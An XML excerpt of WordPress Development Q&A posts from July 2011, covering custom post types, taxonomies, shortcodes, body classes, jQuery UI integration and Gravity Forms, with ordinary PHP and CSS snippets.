  <row Id="22517" PostTypeId="1" CreationDate="2011-07-09T22:11:24.120" Score="0" ViewCount="46" Body="&lt;p&gt;I'm trying to create a taxonomy that is sort of hidden.. meaning i intend to adjust the metabox so that you can only select a unique term from 3 options.  &quot;featured&quot;,&quot;normal&quot; or &quot;excluded&quot;.  but i can't figure out how to remove the administration menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the following removes the Tags menu item from underneath Posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu','yoursite_admin_menu');&#xA;function yoursite_admin_menu() {&#xA;    // remove_submenu_page was introduced in 3.1&#xA;    remove_submenu_page( 'edit.php', 'edit-tags.php?taxonomy=post_tag' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this doesn't remove the Featured taxonomy from underneath Portfolio&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu','yoursite_admin_menu');&#xA;function yoursite_admin_menu() {&#xA;    // remove_submenu_page was introduced in 3.1&#xA;    remove_submenu_page( 'edit.php?post_type=portfolio', 'edit-tags.php?taxonomy=featured&amp;amp;post_type=portfolio' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i've tried it a couple of different ways w/ regards to the slugs, but can't get any of them to work.  what am i missing?&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-09T22:11:24.120" Title="Remove admin menu for custom taxonomy attached to custom post type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" CommentCount="2" />
  <row Id="22519" PostTypeId="1" CreationDate="2011-07-09T22:56:08.580" Score="1" ViewCount="29" Body="&lt;p&gt;I've been pulling my hair out trying to figure out how to make a photo gallery page. I hope I can explain it in a way everyone can understand. I have alot of galleries on my site and I would like to display them on one page and have one image as a link to open that gallery post. Like the gallery on this theme &lt;a href=&quot;http://themes.devilcantburn.com/stereoline/gallery/&quot; rel=&quot;nofollow&quot;&gt;http://themes.devilcantburn.com/stereoline/gallery/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm kinda new to wordpress and not sure what the best way of displaying the galleries are, someone suggested creating a page template, which I tried but i was too complicted for me to work out how to add the images to the links. I would prefer to use coding rather then a plugin but at this point i'm willing to try anything as long as i get the result i need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the way my galleries currently display on my site, but not the way they are displayed when your searching through them. (http://bgpworld.com/?cat=157). If anyone has a solution I would be really grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6909" LastActivityDate="2011-07-09T22:56:08.580" Title="How do I create a gallery page?" Tags="&lt;gallery&gt;" />
  <row Id="22520" PostTypeId="2" ParentId="22514" CreationDate="2011-07-09T23:01:43.687" Score="0" ViewCount="" Body="&lt;p&gt;What you should do is take everything from the opening to the closing &quot;header&quot; div and place it just after the &#xA;&lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't tell you what to do exactly from there, but you will at least need to make some CSS changes. You can try wrapping it in a container div which might allow you to leave the code for the current header as is. This may also keep you from having to reposition other elements inside the header such as the Navigation Menu, search bar, or whatever you might have in the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wrap the header in a new id or class, make sure the outermost div has width:100% and no padding, or you get into doing hacks like &quot;overflow:hidden&quot;, or &quot;clear:both;. You will have to play around with it a bit, but with a few good Firefox Plugin's like &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;FireBug&lt;/a&gt;, or &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/web-developer/&quot; rel=&quot;nofollow&quot;&gt;WebDeveloper&lt;/a&gt; you should be able to get it figured out. Both Firefox plugins allow you to do live CSS editing on your website. You'll just need to copy the adjusted CSS and paste it into your actual CSS file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method is to place an empty div tag above or below the header. Then use CSS to place it/size it. Or, you could just &quot;fake the header&quot; being full width with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;background:transparent url(images/bg-02.jpg) 50% 0 no-repeat;&#xA;margin:0 auto;&#xA;}&#xA;html {&#xA;background:url(images/bg.jpg) 0 0 repeat-x;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good Luck.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-09T23:01:43.687" />
  <row Id="22522" PostTypeId="1" AcceptedAnswerId="22552" CreationDate="2011-07-09T23:12:14.847" Score="0" ViewCount="47" Body="&lt;p&gt;I have one plugin which conflicts with new design of dashboard. I see, that author doesn't bother with support, so I thought I do it myself or at least try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to add custom row to this menu in dashboard if it is possible.&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/V7FvG.png&quot; alt=&quot;Welcoming menu in dashboard&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help I would be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="943" LastActivityDate="2011-07-10T11:37:53.550" Title="Add custom row to welcoming in dashboard" Tags="&lt;dashboard&gt;&lt;modifications&gt;&lt;3.2&gt;" AnswerCount="1" />
  <row Id="22523" PostTypeId="1" CreationDate="2011-07-09T23:32:46.903" Score="0" ViewCount="45" Body="&lt;p&gt;I've created a custom post type to make it easier to add some content with a lot of custom fields and a custom frontend template. However, it's still part of the &quot;normal&quot; posts and categories. Unfortunately it now seems rather impossible to keep this on a normal URL as the permalink structure for a custom post type isn't customizable at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'd like the custom post type to have an identical permalink structure as the default post type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal URL with default post type:&#xA;&lt;a href=&quot;http://domain.com/category/postname&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/category/postname&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL with custom post type:&#xA;&lt;a href=&quot;http://domain.com/custom-post-slug/postname&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/custom-post-slug/postname&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6828" LastActivityDate="2011-07-09T23:32:46.903" Title="Using default post type permalinks for custom post types" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;taxonomy&gt;" />
  <row Id="22524" PostTypeId="1" CreationDate="2011-07-09T23:44:01.893" Score="0" ViewCount="68" Body="&lt;p&gt;I'm trying to use Custom Field types to embed Youtube videos in a more organized fashion and using the Do_Shortcode() would seem to work perfectly, however this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[embed]http://www.youtube.com/watch?v=K0M09Ws8vpc&amp;amp;feature=player_embedded[/embed]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not seem to work, however in the same single.php file this does work perfectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[gallery link=&quot;file&quot; size=&quot;thumbnail&quot; icontag=&quot;div&quot;]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put them one after another to test them out, any ideas why the [embed] shortcode doesn't get parsed (it just shows nothing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do the embed shortcode directly into the post it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jordan&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2011-08-16T11:25:23.587" Title="Do_Shortcode not working for Embed" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;videos&gt;&lt;embed&gt;&lt;youtube&gt;" AnswerCount="2" />
  <row Id="22525" PostTypeId="1" CreationDate="2011-07-10T00:11:08.367" Score="1" ViewCount="28" Body="&lt;p&gt;&lt;em&gt;-edit- I have found the answer and do not need help on this anymore. I have included the answer below to help anybody else who may need it.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have so far in my functions.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class','cp_new_body_classes');&#xA;function cp_new_body_classes($classes) {&#xA;    if( !is_page_template() ) {&#xA;        $classes[] = 'reg-page';&#xA;    return $classes;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to append the class of &lt;code&gt;reg-page&lt;/code&gt; to pages that are not page templates. For the pages that &lt;em&gt;are&lt;/em&gt; page templates, I just want to leave the classes as they are. When trying the code above, the class of &lt;code&gt;reg-page&lt;/code&gt; gets added like I want to pages which are not page templates but the other pages (which &lt;em&gt;are&lt;/em&gt; page templates) get left with no classes at all. How can I fix this code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-edit-&#xA;Answer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class','cp_new_body_classes');&#xA;function cp_new_body_classes($classes) {&#xA;    if( !is_page_template() )&#xA;        $classes[] = 'reg-page';&#xA;&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6906" LastEditorUserId="6906" LastEditorDisplayName="" LastEditDate="2011-07-10T00:44:05.123" LastActivityDate="2011-07-10T00:44:05.123" Title="How do I add a body class to specific pages?" Tags="&lt;page-template&gt;" CommentCount="1" />
  <row Id="22526" PostTypeId="1" CreationDate="2011-07-10T00:22:48.390" Score="0" ViewCount="23" Body="&lt;p&gt;Are there any hosting companies out there that cater to users who want to utilize TLD domain mapping and WordPress Multisite? Or will you have to go the route of building, configuring, and maintaing your own server configuration with a service provider, like SliceHost?&lt;/p&gt;&#xA;" OwnerUserId="3736" LastActivityDate="2011-08-12T16:22:48.997" Title="Are there any hosting companies that are already setup and configured for TLD domain mapping?" Tags="&lt;multisite&gt;&lt;hosting&gt;&lt;domain-mapping&gt;" AnswerCount="1" />
  <row Id="22527" PostTypeId="1" AcceptedAnswerId="22579" CreationDate="2011-07-10T00:33:27.240" Score="0" ViewCount="93" Body="&lt;p&gt;I'm trying to use my category.php file to display all posts of a certain custom post type (say &quot;Company&quot;) with a given category. However, when I try to use it by navigating to domain.com/category/company/category1, which is the link automatically generated by wp_list_categories(), no posts appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php get_template_part( 'type-company', get_post_format() ); ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-07-10T20:29:00.543" Title="Category.php template for custom posts" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;php&gt;" AnswerCount="2" />
  <row Id="22528" PostTypeId="1" CreationDate="2011-07-10T01:09:33.107" Score="0" ViewCount="112" Body="&lt;p&gt;Been trying to get this working all day but haven't had any luck...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type called 'news' and an archive template (archive-news.php), here I'd like to show 2 posts with pagination, which works fine, until I try to go to the 'next page' (/news/page/2) which returns an error 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to fix this / what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've literally spent all day trying to find a solution to this by searching Google and the WordPress forms, I found lots of solutions, none of which have worked so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom post type function: &lt;a href=&quot;http://pastebin.com/uG1L6YNu&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/uG1L6YNu&lt;/a&gt;&lt;br/&gt;&#xA;My rewrite rules print: &lt;a href=&quot;http://pastebin.com/jbaDANYr&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/jbaDANYr&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6911" LastActivityDate="2011-08-11T18:22:25.797" Title="Custom post type pagination 404 fix?" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;archive&gt;&lt;post-type&gt;&lt;404&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22530" PostTypeId="2" ParentId="22527" CreationDate="2011-07-10T02:14:31.227" Score="0" ViewCount="" Body="&lt;p&gt;Are you using the core &lt;code&gt;category&lt;/code&gt; taxonomy, by applying it to your Custom Post Type, or have you defined a &lt;em&gt;custom&lt;/em&gt; taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a &lt;em&gt;custom&lt;/em&gt; taxonomy, you need to use the template file &lt;code&gt;taxonomy-{taxonomy}.php&lt;/code&gt;, or &lt;code&gt;taxonomy-{taxonomy}-{term}.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But really, using &lt;code&gt;category.php&lt;/code&gt; or &lt;code&gt;taxonomy.php&lt;/code&gt; really may not be what you want to do. Have you tried using &lt;code&gt;archive-{post-type}.php&lt;/code&gt;, for displaying the archive index list of posts from your Custom Post Type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have an issue with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'type-company', get_post_format() ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Post Format taxonomy only applies to the &lt;em&gt;Post&lt;/em&gt; post-type; not to any, arbitrary post-type. Again: did you custom-apply the Post Format taxonomy to your Custom Post Type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you may need to modify the Loop query in &lt;code&gt;category.php&lt;/code&gt; and/or &lt;code&gt;tag.php&lt;/code&gt;, in order to display your CPTs.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-10T13:03:06.160" LastActivityDate="2011-07-10T13:03:06.160" CommentCount="9" />
  <row Id="22531" PostTypeId="2" ParentId="22528" CreationDate="2011-07-10T02:21:07.740" Score="0" ViewCount="" Body="&lt;p&gt;You have probably tried this, but resetting the permalinks can solve this problem. Go to Settings-&gt;Permalinks and save the permalinks again.&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-10T02:21:07.740" CommentCount="1" />
  <row Id="22532" PostTypeId="1" CreationDate="2011-07-10T02:39:29.173" Score="0" ViewCount="40" Body="&lt;p&gt;This one is eluding me, maybe someone on SX can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm coding a plugin that allows me to dynamically insert content for my meta description and title.  The content is already being pulled fine, the only part I can't get to work is actually filtering the meta description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to get the title working like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_title', 'filter_wp_title');&#xA;function filter_wp_title( $title ){&#xA;    $title = wpg_modules($title);&#xA;    return( $title );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where wpg_modules() returns the content to use for the title.  But I can't find an equivalent way to do this for the meta description, presumably because WP doesn't just always have one unless your theme or another plugin does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note the above code works perfectly and is &lt;em&gt;not&lt;/em&gt; what I need help with, I merely provided it as an example of filtering the title that works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I filter an &lt;em&gt;existing&lt;/em&gt; meta description, if present?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan&lt;/p&gt;&#xA;" OwnerUserId="6712" LastEditorUserId="6712" LastEditorDisplayName="" LastEditDate="2011-07-10T03:31:08.180" LastActivityDate="2011-08-12T09:22:39.880" Title="How to modify an existing meta description?" Tags="&lt;filters&gt;&lt;description&gt;" AnswerCount="1" />
  <row Id="22533" PostTypeId="2" ParentId="22503" CreationDate="2011-07-10T03:21:02.743" Score="0" ViewCount="" Body="&lt;p&gt;Okay, just looking through this code quickly, it looks like the problem may be that the &lt;code&gt;getImgID()&lt;/code&gt; function is &lt;em&gt;echoing&lt;/em&gt; rather than &lt;em&gt;returning&lt;/em&gt; its output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is called from within another function, &lt;code&gt;guan_getImgID_inserter()&lt;/code&gt;, that is hooked into the &lt;code&gt;comment_text&lt;/code&gt; filter hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that filters &lt;code&gt;comment_text&lt;/code&gt; (or any filter hook, for that matter), should be &lt;em&gt;returning&lt;/em&gt; its output, since the hook is already echoed, usually via a call to &lt;code&gt;echo apply_filters()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you may want to change the &lt;code&gt;echo&lt;/code&gt; calls to &lt;code&gt;return&lt;/code&gt; calls, in lines 176 and 178. i.e. these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($imgIDNow != &quot;&quot;) {&#xA;            $str = substr($imgIDNow, 4, strlen($imgIDNow));&#xA;            echo &quot;&amp;lt;div id=\&quot;comment-&quot;.$str.&quot;\&quot;&amp;gt;&amp;lt;a href='#&quot;.$str.&quot;'&amp;gt;noted on #&quot;.$imgIDNow.&quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;    } else {&#xA;            echo &quot;&amp;amp;nbsp;&quot;; &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should instead be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($imgIDNow != &quot;&quot;) {&#xA;            $str = substr($imgIDNow, 4, strlen($imgIDNow));&#xA;            return &quot;&amp;lt;div id=\&quot;comment-&quot;.$str.&quot;\&quot;&amp;gt;&amp;lt;a href='#&quot;.$str.&quot;'&amp;gt;noted on #&quot;.$imgIDNow.&quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;    } else {&#xA;            return &quot;&amp;amp;nbsp;&quot;; &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% certain that's the problem, but it's at least worth a shot...&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-10T03:21:02.743" CommentCount="2" />
  <row Id="22534" PostTypeId="2" ParentId="22532" CreationDate="2011-07-10T03:25:57.483" Score="0" ViewCount="" Body="&lt;p&gt;Looks like a syntax error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return( $title );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry; mis-read your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the question is entirely &lt;em&gt;Theme-dependent&lt;/em&gt;. The description normally is output in the template via &lt;code&gt;bloginfo( 'description' )&lt;/code&gt;. The &lt;code&gt;bloginfo()&lt;/code&gt; function uses &lt;code&gt;get_bloginfo()&lt;/code&gt;, which uses a simple switch, and for the &lt;code&gt;description&lt;/code&gt; parameter, the function simply returns &lt;code&gt;get_option( 'blogdescription' )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm not seeing any filters being applied anywhere in that process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you taken a look at what any of the myriad SEO Plugins do with respect to the description meta tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of writing a core patch, to add a &lt;code&gt;wp_description()&lt;/code&gt; wrapper function, complete with &lt;code&gt;apply_filters()&lt;/code&gt; call, around &lt;code&gt;get_bloginfo( 'description' )&lt;/code&gt;? Not really...&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-10T03:40:07.253" LastActivityDate="2011-07-10T03:40:07.253" CommentCount="3" />
  <row Id="22535" PostTypeId="1" AcceptedAnswerId="22551" CreationDate="2011-07-10T04:13:30.810" Score="0" ViewCount="164" Body="&lt;p&gt;I am trying to integrate the &lt;a href=&quot;http://jquery-ui.googlecode.com/svn/branches/labs/selectmenu/index.html&quot; rel=&quot;nofollow&quot;&gt;Jquery UI select menu&lt;/a&gt; (&quot;dropdown&quot; Style), in my wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am not able to do it, in widget area I created a select box and gave it respective ID of that css and jquery, but its not getting loaded with jquery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code, which I am using it to achieve:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The head part:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;Stylesheet&quot; href=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/ui-darkness/jquery-ui.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;Stylesheet&quot; href=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/ui.selectmenu.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/js/ui.selectmenu.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        /*demo styles*/&#xA;        select,.ui-select-menu { float: left; margin-right: 10px; font-size: 62.5%;}&#xA;        select, .ui-selectmenu { width: 200px; font-size: 62.5%; margin:10px;}&#xA;        #cat{font-size: 62.5%;}&#xA;&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        JQuery(function(){&#xA;            JQuery('select#cat').selectmenu({style:'dropdown'}); &#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ui.jquery.com/applications/themeroller/themeswitchertool/&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The select menu appears with normal css, but the jquery is not working,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am bad in Jquery, so can any one help, I am using 2011 Theme, and you can check the selet menu on my site &lt;a href=&quot;http://webstutorial.com/&quot; rel=&quot;nofollow&quot;&gt;http://webstutorial.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery.noConflict();&#xA;        jQuery(function(){&#xA;            jQuery('select#cat').selectmenu({style:'dropdown'});&lt;br&gt;&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-07-10T04:52:55.923" LastActivityDate="2011-07-10T11:00:24.613" Title="Jquery UI not working" Tags="&lt;jquery-ui&gt;" AnswerCount="2" />
  <row Id="22536" PostTypeId="2" ParentId="22535" CreationDate="2011-07-10T04:43:55.497" Score="0" ViewCount="" Body="&lt;p&gt;Try using &lt;code&gt;jQuery&lt;/code&gt; instead of &lt;code&gt;JQuery&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-07-10T04:43:55.497" CommentCount="1" />
  <row Id="22537" PostTypeId="1" AcceptedAnswerId="23901" CreationDate="2011-07-10T05:17:36.777" Score="3" ViewCount="102" Body="&lt;p&gt;I am using Gravity Forms to allow users to create posts from the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the way this site I am building is going to work, one specific Post_Type is essentially just a &quot;Data&quot; post.  There is a specific Taxonomy who's Terms are actually the &quot;Title&quot; of the data set.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already figured out a way to hide the &quot;Title&quot; field in Gravity forms but still have it present on the form (for some reason they lock the &quot;Post_Type&quot; and &quot;Post Status&quot; into the 'Title' field in the GUI, so I overloaded it's conditional logic to force it to always hide). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a filter that would always copy the [Term] value for a specific [Taxonomy] into the [Title] field of a specific [Post_Type].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice I could get on how to accomplish this would be great!  Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==============================================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, using code from @Manny Fleurmond below, and from this post:  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7829/title-save-pre-simple-problem-that-u-know-for-sure&quot;&gt;Title_save_pre - Simple problem that u know for sure&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function taxonomy_title_rename($title) {&#xA;    global $post;&#xA;    $type = get_post_type($post-&amp;gt;ID);&#xA;    if ($type== 'CUSTOM_POST_TYPE') {&#xA;            if($post-&amp;gt;post_type === 'CUSTOM_POST_TYPE') {&#xA;        $terms = wp_get_object_terms($post-&amp;gt;ID, 'MY_TAXONOMY');&#xA;        if(!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms)) {&#xA;            $title = $terms[0]-&amp;gt;name;&#xA;        }&#xA;        }&#xA;    return $title;&#xA;}&#xA;     else if ($type != 'CUSTOM_POST_TYPE') {&#xA;       return $title;&#xA;    }&#xA;    }&#xA;    add_filter ('title_save_pre','taxonomy_title_rename');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is actually saving the post title to the post from the taxonomy.  However, it is not then pulling it into the permalink as well, my permalink is just the post ID number.  Will see if I can get this solved on my own, but any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditorDisplayName="" LastEditDate="2011-07-10T22:16:39.593" LastActivityDate="2011-07-24T04:16:06.620" Title="Copy a Taxonomy Term into the Post Title for a certain Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;title&gt;&lt;plugin-gravity-forms&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22538" PostTypeId="1" CreationDate="2011-07-10T05:32:15.987" Score="1" ViewCount="59" Body="&lt;p&gt;I'm using Gravity forms to allow my users to create posts from the front end, but I'm having an issue making a certain form-function I'd like to have work and display nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, I want my users to be able to select multiple terms from a particular taxonomy... However this Taxonomy happens to be HUGE -- it has about 150 entries... AND it's hierarchical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I set this up as a &quot;Checkbox&quot; type field and populate it from the taxonomy, it spits out a giant single list of all the terms. I can clean up some of the layout issues obviously, but I'd like to perhaps find a better solution that this overall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off I want to hide the parent terms altogether, just the 2nd layer of terms are important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, while I could clean up the formatting a bit for the giant list of check-boxes, I'd rather have something where my users could perhaps select 1 term, and then have a little + button that when pressed, would add another field of the same type that would allow them to enter a 2nd, 3rd, 4th, 5th etc term from that taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not exactly sure the best way to go about this however, any advice or suggestions would be greatly appreciated! &lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-07-10T05:32:15.987" Title="Cleaning up a Gravity Forms 'Checkbox' field tied to large taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;plugin-gravity-forms&gt;" />
